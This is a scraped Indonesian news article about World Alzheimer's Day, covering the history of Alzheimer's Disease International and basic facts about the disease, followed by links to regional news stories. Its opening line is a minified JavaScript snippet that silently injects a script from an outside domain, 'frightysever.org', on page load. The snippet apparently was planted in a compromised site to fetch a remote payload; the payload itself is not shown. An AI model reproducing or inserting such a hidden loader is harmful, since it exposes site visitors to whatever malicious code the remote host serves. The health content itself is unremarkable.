(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Masyarakat global memperingati Hari Alzheimer Sedunia setiap tanggal 21 September, sebuah momentum penting untuk meningkatkan kesadaran akan penyakit Alzheimer.
Peringatan ini mengajak semua orang untuk lebih memahami kondisi tersebut dan pentingnya dukungan bagi mereka yang terdampak.
Tahun 1984, ADI (Alzheimer’s Disease International) didirikan di Amerika Serikat dan resmi terdaftar pada tahun 1985. Masih pada tahun yang sama, konferensi pertama ADI berlangsung di Brussels, Belgia. Selanjutnya, pada tahun 1992, ADI menjalin hubungan kerja resmi dengan Organisasi Kesehatan Dunia (WHO).
Pada tanggal 21 September 1994, ADI memperingati Hari Alzheimer Sedunia pertama. Presiden ADI, Putri Yasmin Aga Khan, bersama Dr José Manoel Bertolote dari WHO menyaksikan Ketua ADI, Brian Moss menandatangani deklarasi untuk meningkatkan kesadaran semua pihak akan demensia.
Setiap bulan September, ADI menyelenggarakan kampanye Bulan Alzheimer Sedunia (puncaknya tanggal 21 September) bersama dengan asosiasi anggotanya dari seluruh dunia. Kampanye Bulan & Hari Alzheimer Sedunia 2024 berfokus pada tema ‘Time to act on dementia, Time to act on Alzheimer’s’.
Kampanye kesadaran global ini bertujuan untuk mengubah sikap terhadap demensia, mengurangi stigma, dan diskriminasi yang masih ada di sekitar kondisi ini, serta menyoroti langkah-langkah positif yang diambil oleh organisasi dan pemerintah di seluruh dunia dalam membangun masyarakat yang lebih ramah demensia.
Kenali Penyakit Alzheimer
Alzheimer adalah penyebab paling umum dari demensia. Alzheimer merupakan istilah umum untuk hilangnya ingatan dan kemampuan kognitif lainnya yang cukup parah sehingga mengganggu kehidupan sehari-hari. Penyakit Alzheimer menyumbang 60-80% dari kasus demensia.
Alzheimer bukanlah proses normal dari penuaan. Faktor risiko terbesar yang diketahui adalah bertambahnya usia, dan sebagian besar penderita Alzheimer berusia 65 tahun ke atas. Jika penyakit ini memengaruhi seseorang yang berusia di bawah 65 tahun, kondisi ini disebut sebagai Alzheimer onset muda, yang bisa terjadi pada tahap awal, menengah, atau akhir penyakit.
Penyakit ini bersifat progresif, dimana gejala demensia semakin parah dalam beberapa tahun. Pada tahap awal, kehilangan ingatan mungkin masih ringan, namun pada tahap akhir, penderita kehilangan kemampuan untuk berbicara dan merespons lingkungan sekitar. Rata-rata, seseorang dengan Alzheimer dapat hidup 4 hingga 8 tahun setelah diagnosis, meskipun beberapa dapat bertahan hingga 20 tahun, tergantung pada faktor lainnya. (Kanalkalimantan.com/kk)
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
KANALKALIMANTAN.COM, MARTAPURA - Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar melakukan penertiban terhadap penjualan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuk pengunjung 2024 ini Pemerintah Kabupaten Banjar meraih penghargaan dari Perwakilan Ombudsman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More
This website uses cookies.